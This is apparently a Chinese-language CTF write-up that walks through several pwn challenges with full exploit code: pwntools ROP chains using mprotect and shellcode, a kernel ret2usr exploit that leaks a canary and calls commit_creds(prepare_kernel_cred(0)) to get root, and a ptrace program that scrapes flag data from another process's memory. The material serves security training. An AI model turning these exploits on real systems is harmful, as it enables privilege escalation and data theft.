welcome_CAT_CTF 欢迎来到 CAT CTF,本题为签到题,选手可以通过暴打出题人或者运维拿 flag(用awsd操控,按键j为确定键,建议全屏运行)
入侵思路
1 2 3 4 5 6 7 if ( (char *)s[100 * v0 - 100 + v1] == "@" && glod > 100000000 ){ puts ("GET_FLAG!" ); nc = get_nc(); get_flag(nc); getchar(); }
程序的逻辑如下:
W
S
A
D
v0—
v0++
v1—
v1++
但是按照程序本身的逻辑是不可能拿到 flag 的:
1 2 if ( glod <= 99 ) ++glod;
于是我们就需要对 client
进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 printf ("glod :%d\n" , (unsigned int )v26);if ( !strcmp (s1, key) && v26 > 10000000 ){ std ::ifstream::basic_ifstream(v30); std ::ifstream::open(v30, "./flag" , 8LL ); v18 = std ::operator <<<std ::char_traits<char >>(&std ::cout , "Reading from the file" ); std ::ostream::operator <<(v18, &std ::endl <char ,std ::char_traits<char >>); std ::operator >><char ,std ::char_traits<char >>(v30, v36); printf ("flag:%s" , v36); v19 = strlen (v36); send(v24, v36, v19, 0 ); std ::ifstream::~ifstream(v30); }
1 2 3 4 5 6 7 8 case 'j' : if ( (char *)s[100 * v0 - 100 + v1] == "$" ) { glod += 10000001 ; puts ("你给了出题人或者赛事负责人一拳" ); printf ("你现在拥有%d个猫币" , (unsigned int )glod); getchar(); }
1 2 3 4 5 6 7 if ( (char *)s[100 * v0 - 100 + v1] == "@" && glod > 1 ){ puts ("GET_FLAG!" ); nc = get_nc(); get_flag(nc); getchar(); }
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *arch = 64 challenge = './client' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b *$rebase(0x92D3)\n" ) def cmd (op ): p.sendline(op) p.sendline("223.112.5.156" ) p.sendline("62238" ) for i in range (40 ): cmd("d" ) cmd("a" ) for i in range (40 ): cmd("w" ) cmd("j" ) for i in range (40 ): cmd("s" ) for i in range (40 ): cmd("a" ) for i in range (7 ): cmd("d" ) for i in range (20 ): cmd("w" ) cmd("j" ) p.interactive()
bitcoin 1 2 3 4 5 6 pwn: ELF 64 -bit LSB executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=2604789b b1491ea07bfd32d3b87759c191b91f30, not stripped Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
64位,dynamically,开了 NX,Partial RELRO
1 2 3 4 5 6 7 8 9 10 ➜ bitcoin seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x04 0xc000003e if (A != ARCH_X86_64) goto 0006 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0006 0004 : 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0006 0005 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006 : 0x06 0x00 0x00 0x00000000 return KILL
漏洞分析
1 2 std ::operator <<<std ::char_traits<char >>(&std ::cout , "Password: " );std ::operator >><char ,std ::char_traits<char >>(&std ::cin , passwd);
入侵思路
有栈溢出,可以写 ROP 链
打比赛时的入侵思路就是:
执行 fopen
打开 flag
文件
执行 fgets
把 flag
文件的内容读到本地
执行 printf
把 flag
输出到屏幕
需要解决的第一个问题就是把 fopen
的返回值与 fgets
相关联:
1 2 3 4 5 RAX 0x24cbeb0 ◂— 0xfbad2488 RBX 0x4062a0 (__libc_csu_init) ◂— push r15 RCX 0x6 RDX 0x0 RDI 0x406360 ◂— outsb dx, byte ptr [rsi]
最后找不到这个 gadget,只好放弃了
组里的大佬用 mprotect
来执行 shellcode
,当时没有想到这个方法(没有 read
函数可以用 cin
代替)
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *arch = 64 challenge = './pwn' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 1 if local: p = process(challenge) else : p = remote('119.13.105.35' ,'10111' ) def debug (): gdb.attach(p,"b* 0x40223B\n" ) pause() def cmd (op ): p.sendline(op) pop_rdi_ret = 0x0000000000406303 pop_rsi_pop_r15_ret = 0x0000000000406301 cin = 0x6093A0 use_cin = 0x401C30 hard = 0x609248 main = elf.sym['main' ] start = elf.sym['_start' ] csu_front_addr=0x4062E0 csu_end_addr=0x4062FA bss_addr = 0x609300 got_addr = 0x609000 flag_str = 0x406626 modes_str = 0x406365 fget_got = 0x6091D8 fopen_plt = 0x401E60 mprotect_got = 0x6091E0 def csu (rbx, rbp, r12, r13, r14, r15, last ): payload = "" payload += p64(csu_end_addr) payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) return payload p.sendline() mprotect = csu(0 ,1 ,mprotect_got,got_addr,0x1000 ,7 ,pop_rdi_ret) name = "YHellow" p.sendlineafter("Name:" ,name) payload = "a" *0x48 payload += mprotect + p64(cin) payload += p64(pop_rsi_pop_r15_ret) + p64(bss_addr) + p64(0 ) payload += p64(use_cin) + p64(bss_addr) p.sendlineafter("Password:" ,payload) p.sendline(asm(shellcraft.cat("./flag" ))) p.interactive()
vmbyhrp 1 2 3 4 5 6 HRPVM: ELF 64 -bit LSB shared object, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=ae19ec35e351cd7e0113b04270566c04bd3bd321, not stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 stream = fopen((const char *)name, "ab+" ); if ( stream ){ for ( i = 0 ; (unsigned int )__isoc99_fscanf((__int64)stream, "%c" , &input[i]) != -1 ; ++i ) ; fclose(stream); file_data[file_count].fd = global_fd; file_data[file_count].name = (char *)name; file_data[file_count].use = 1000LL ; index = file_count; file_data[index].data = (char *)malloc (0x1000 uLL); strncpy (file_data[file_count].data, input, 0x1000 uLL); ++file_count; ++global_fd; }
入侵思路
想要执行后门函数,就必须执行 DEBUG
函数,从而需要让 users[0]
和 users[1]
都为“0”:
1 2 if ( !strncmp (*(&system_cmd + 6 ), (const char *)buf, len) && !users[1 ] && !users[0 ] ) DEBUG();
程序没法直接修改 users[0]
和 users[1]
,但可以通过 file_data
向下覆盖:
1 2 3 .bss:0000000000204120 file_data Chunk 20 h dup (<?>) ...... .bss:0000000000204520 users dd 2 dup (?)
然后通过 vm_elf
把 users[0]
和 users[1]
设置为“0”
进入 DEBUG
函数,把 flag 写到本地以后还有一些小问题:
需要先执行 mmap
申请一片空间
接着执行 reboot
写入这片空间的地址
这样就可以避免在打印 flag 时发生段错误了
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import *arch = 64 challenge = './HRPVM' context.os='linux' if arch==64 : context.arch='amd64' if arch==32 : context.arch='i386' elf = ELF(challenge) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text) lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval (s))) uu32 = lambda data : u32(data.ljust(4 , b'x00' )) uu64 = lambda data : u64(data.ljust(8 , b'x00' )) local = 0 if local: p = process(challenge) else : p = remote('223.112.5.156' ,'51240' ) def debug (): gdb.attach(p,"b *$rebase(0x23C8)\n" ) pause() def cmd (op ): p.sendlineafter("HRP-MACHINE$" ,op) def ls (): cmd("ls" ) def id (): cmd("id" ) def file (name,data ): cmd("file" ) p.sendlineafter("FILE NAME: " ,name) p.sendlineafter("FILE CONTENT: " ,data) def cat (name ): cmd("cat " +name) def do (name ): cmd("./" +name) def reg (): cmd("reg" ) def reboot (): cmd("reboot" ) def rm (name ): cmd("rm " +name) def de (): cmd("DEBUG" ) p.sendlineafter("USER NAME:" ,"HRPHRP" ) p.sendlineafter("PASSWORD:" ,"PWNME" ) holder = "YHellow" p.sendlineafter("[+]HOLDER:" ,holder) payload = "mov rdi,35;mov rsi,0;call open 2;2;" file("a" *0x8 ,payload) payload = "mov rdi,1;mov rsi,36;mov rdx,100;call write 1;1;" file("b" *0x8 ,payload) payload = "mov rdi,36;mov rsi,1001;call open 2;2;" file("c" *0x8 ,payload) for i in range (28 ): print (str (i)) file("aaa" +str (i),"1" *0x20 ) file("d" *0x8 ,"2" *0x20 ) do("a" *0x8 ) de() p.sendlineafter("[+][DEBUGING]root# " ,"file input" ) p.sendlineafter("FILE NAME:" ,"flag" ) p.sendlineafter("[+][DEBUGING]root# " ,"mmap" ) p.sendlineafter("[+]ADDR EXPEND:" ,str (0x40000000 )) p.sendlineafter("[+][DEBUGING]root# " ,"exit" ) reboot() p.sendlineafter("USER NAME:" ,"HRPHRP" ) p.sendlineafter("PASSWORD:" ,"PWNME" ) holder = p64(0x40000000 ) p.sendlineafter("[+]HOLDER:" ,holder) do("c" *0x8 ) do("b" *0x8 ) p.interactive()
kernel-test 1 2 3 4 5 6 7 # !/bin/bash FILE=./_install/flag if test -f "$FILE"; then cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh else echo $1>./_install/flag && chmod 755 ./_install/flag && cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh fi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 # !/bin/sh echo "INIT SCRIPT" mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs none /dev mount -t debugfs none /sys/kernel/debug mount -t tmpfs none /tmp cat /proc/kallsyms > /tmp/kallsyms chown 0:0 flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod ./HRPKO.ko # 挂载内核模块 chmod 777 /dev/test echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" setsid /bin/cttyhack setuidgid 1000 /bin/sh # setsid /bin/cttyhack setuidgid 0 /bin/sh poweroff -f # 设置 shell 退出后则关闭机器
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 ssize_t __fastcall HRP_module_read (file *file, char *user, size_t size, loff_t *p) { char this_buf[64 ]; unsigned __int64 canary; _fentry__(); memset (&this_buf[21 ], 0 , 43 ); canary = __readgsqword(0x28 u); strcpy (this_buf, "welcome to my house\n" ); printk("16USE MY read\n" ); copy_to_user(user, &this_buf[size], 0x40 LL); return 0x1BF52 LL; }
执行 read(fd,buf,0x40)
,返回下标为“0”的地方就是 canary
1 2 3 4 5 6 7 8 9 10 11 12 13 ssize_t __fastcall HRP_module_write (file *file, const char *user, size_t size, loff_t *p) { _fentry__(); printk("16USE MY write\n" ); if ( size > 0x300 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n" , 0x300 LL, size); BUG(); } _check_object_size(pwn, size, 0LL ); copy_from_user(pwn, user, size); return 0x1BF52 LL; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 __int64 __fastcall HRP_module_ioctl (file *file, unsigned int cmd, unsigned __int64 param) { __int64 v3; _QWORD leak[2 ]; unsigned __int64 canary; __int64 v7; _fentry__(); v7 = v3; canary = __readgsqword(0x28 u); if ( cmd ) { printk("16[HRPModule:] Unknown ioctl cmd!\n" ); return 0xFFFFFFFFFFFFFFEA LL; } else { leak[0 ] = 0x214F4E4F4E LL; leak[1 ] = 0LL ; printk("16[HRPModule:] NOTHING! %s\n" , (const char *)leak); qmemcpy(leak, pwn, 0x100 uLL); return 0LL ; } }
入侵思路
打比赛时看到栈溢出就先去做其他题目了,因为我从来没有尝试过在内核中打栈
就从这个题开始,了解一下内核栈的利用手法
基础的利用思路就是:
利用 HRP_module_read
泄露 canary
利用 HRP_module_write
把 payload 写入 bss 段
利用 HRP_module_ioctl
把 payload 写入栈,完成 ret2usr
由于没有限制 kallsyms
,因此可以直接获取内核符号,在此之前我们需要知道 commit_creds
和 prepare_kernel_cred
的偏移:
1 vmlinux-to-elf bzImage vmlinux
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ➜ easy-kernel python Python 2.7 .18 (default, Jul 1 2022 , 12 :27 :04) [GCC 9.4 .0 ] on linux2 Type "help" , "copyright" , "credits" or "license" for more information.>>> from pwn import *>>> vmlinux = ELF("./vmlinux" )[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/easy-kernel/vmlinux' Arch: amd64-64 -little Version: 5.9 .8 RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000 ) RWX: Has RWX segments >>> hex (vmlinux.sym['commit_creds' ] - 0xffffffff81000000 )'0xccc30' >>> hex (vmlinux.sym['prepare_kernel_cred' ] - 0xffffffff81000000 )'0xcd0a0'
接下来就比较套路了,写入 canary 和 rbp,在返回地址处放一个 commit_creds(prepare_kernel_cred(0))
就可以了
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t user_cs, user_ss, user_rflags, user_sp;size_t commit_creds = 0 , prepare_kernel_cred = 0 ;size_t raw_vmlinux_base = 0xffffffff81000000 ;size_t vmlinux_base = 0 ;size_t find_symbols () { FILE* kallsyms_fd = fopen("/tmp/kallsyms" , "r" ); char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) return 0 ; if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &commit_creds); printf ("commit_creds addr: %p\n" , commit_creds); vmlinux_base = commit_creds - 0xccc30 ; printf ("vmlinux_base addr: %p\n" , vmlinux_base); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); vmlinux_base = prepare_kernel_cred - 0xcd0a0 ; } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*]Error!" ); exit (0 ); } } void save_status () { __asm__("mov %cs, user_cs;" "mov %ss, user_ss;" "mov %rsp, user_sp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void get_root () { char * (*pkc)(int ) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0 )); } int main () { save_status(); printf ("prepare_kernel_cred: %p\n" ,prepare_kernel_cred); int fd; fd = open("/dev/test" , O_RDWR); char buf[0x40 ]; read(fd,buf,0x40 ); size_t canary = ((size_t *)buf)[0 ]; printf ("canary: %p\n" , canary); size_t rbp = ((size_t *)buf)[4 ]; find_symbols(); size_t rop[0x1000 ] = {0 }; rop[2 ] = canary; rop[3 ] = rbp; rop[4 ] = &get_root; write(fd,rop,0x100 ); ioctl(fd,0 ); }
injection2.0 1 2 3 4 5 6 7 # !/bin/bash FILE=./_install/flag if test -f "$FILE"; then cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh else echo $1>./_install/flag && chmod 755 ./_install/flag && cd ./_install && find . | cpio -o --format=newc > ../rootfs.img &&cd .. &&sh boot.sh fi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # !/bin/sh echo "INIT SCRIPT" mkdir /tmp mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs none /dev mount -t debugfs none /sys/kernel/debug mount -t tmpfs none /tmp echo 0 | tee /proc/sys/kernel/yama/ptrace_scope chown 0:0 flag chmod 755 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" ./target >pso.file 2>&1 & setsid /bin/cttyhack setuidgid 0 /bin/sh # setsid /bin/cttyhack setuidgid 0 /bin/sh poweroff -f # 设置 shell 退出后则关闭机器
入侵思路
这个题目有如下特点:
没有挂载内核模块
网上搜索到 /proc/sys/kernel/yama/ptrace_scope
的作用是 “控制对 ptrace 系统调用的响应”
将文件 target
加载到了后台
先看一眼文件 target
的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int fd; char buf[264 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); fd = open("./flag" , 436 , envp); read(fd, buf, 0x30 uLL); close(fd); close(0 ); close(1 ); close(2 ); system("rm flag" ); while ( 1 ) { write(1 , "Hello World\n" , 0xC uLL); sleep(2u ); } }
把 flag 读取到本地内存,然后删除 flag 文件,循环输入 Hello World
打比赛时想到使用 ptrace 接口去连接程序,但不知道怎么获取栈上的数据,最后没做出来
赛后复现时才发现可以用 ps -ef
获取进程的 PID,然后 cat /proc/pid/maps
获取栈基址,最后在本地计算一下偏移,使用 ptrace 接口去读 flag 就好了
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #include <stdio.h> #include <sys/ptrace.h> int main (int argv , char **argc) { int data; int stat; int pid = atoi(argc[1 ]); ptrace(PTRACE_ATTACH, pid, NULL , NULL ); wait(&stat); long long int addr = 0 ; scanf ("%llx" ,&addr); for (; addr < 0x7ffffffff000 ; ++addr) { data = ptrace(PTRACE_PEEKDATA, pid, addr, NULL ); if (data==0x65636165 ) { printf ("data = %x , addr = %llx\n" , data , addr); long long int addr1=addr-1 ; char data1; for (int i=0 ;i<100 ;i++) { addr1+=1 ; data1 = ptrace(PTRACE_PEEKDATA, pid, addr1, NULL ); printf ("%c" , data1); } } } ptrace(PTRACE_DETACH, pid, NULL , NULL ); return 1 ; }
zip-zip 1 2 3 4 5 6 pwn: ELF 64 -bit LSB executable, x86-64 , version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2 .0 , BuildID[sha1]=4f 529bda60e1a98759dcb5e28ce1ee39d7410b7a, not stripped Arch: amd64-64 -little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000 )
64位,statically,Partial RELRO,canary
1 2 3 4 5 6 0000 : 0x20 0x00 0x00 0x00000004 A = arch0001 : 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number0003 : 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004 : 0x06 0x00 0x00 0x00000000 return KILL0005 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
漏洞分析
1 2 3 4 puts ("file" );_isoc99_scanf((__int64)"%2560s" , file); getchar(); fd = fopen64((__int64)file, (__int64)"rb" );
1 2 3 4 5 6 7 8 9 10 11 12 puts ("unzip file" );_isoc99_scanf((__int64)"%1s" , file); getchar(); fd = fopen64((__int64)file, (__int64)"wb" ); if ( fd ){ fwrite(chunk2, 1LL , len, fd); fclose(fd); free (chunk); free (chunk2); return 0LL ; }
函数 unzip
可以把 zip
的文件内容读取到堆中
入侵思路
我的思路就是:使用 zip
压缩 flag,然后使用 unzip
读取到堆中
在此之前,需要先对 encrypt
函数进行逆向,以绕过 unzip
的限制
核心加密代码如下:
1 2 3 4 5 6 7 for ( i = 0 ; ; ++i ){ index = i; if ( index >= (unsigned __int64)j_strlen_ifunc(CDK) ) break ; code[i] = CDK[i]; }
1 2 3 4 5 6 7 8 9 10 for ( j = 0 ; ; ++j ){ index = j; if ( index >= (unsigned __int64)j_strlen_ifunc(CDK) ) break ; for ( k = 0 ; k < param1; ++k ) code2 = code2 * code[j] % param2; c[j] = code2; code2 = 1 ; }
param1 == 7
param2 == 221
其实就是 (x^7) % 221 == c
,已知 c
求 x
这里直接用 z3 来解了:(因为是静态链接,用 angr 不如 z3 方便)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from z3 import *a,b,c = Ints('a b c' ) solver = Solver() solver.add((a*a*a*a*a*a*a%221 )==0x95 ) solver.add((b*b*b*b*b*b*b%221 )==0x6C ) solver.add((c*c*c*c*c*c*c%221 )==0x18 ) solver.add(a>0 ) solver.add(b>0 ) solver.add(c>0 ) if solver.check() == sat: ans = solver.model() print (ans) else : print ("no ans!" )
1 [a = 72 , c = 80 , b = 82 ]
打比赛时就做到这里,接着就不知道怎么泄露了
官方 wp 的做法如下:
让 zip
出来的文件和二进制文件 pwn
同名,这样就可以覆盖 pwn
(此时不会破坏程序)
在 unzip
的时候发送 Ctrl+D
(手动输入),程序就会结束输入,这样 unzip
的默认 filename
就是上次在 zip
输入的文件名,也就是 pwn
再次 nc 时就可以通过报错信息拿到 flag
我自己复现的时候发现 fopen
打不开正在运行的文件:(不管是主机还是 docker 都一样)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 _IO_FILE * _IO_new_file_fopen (_IO_FILE *fp, const char *filename, const char *mode, int is32not64) { ... if (_IO_file_is_open (fp)) return 0 ; switch (*mode) { case 'r' : omode = O_RDONLY; read_write = _IO_NO_WRITES; break ; ... } ... result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write, is32not64); ... } libc_hidden_ver (_IO_new_file_fopen, _IO_file_fopen)
这就有点搞不懂了,暂时放一放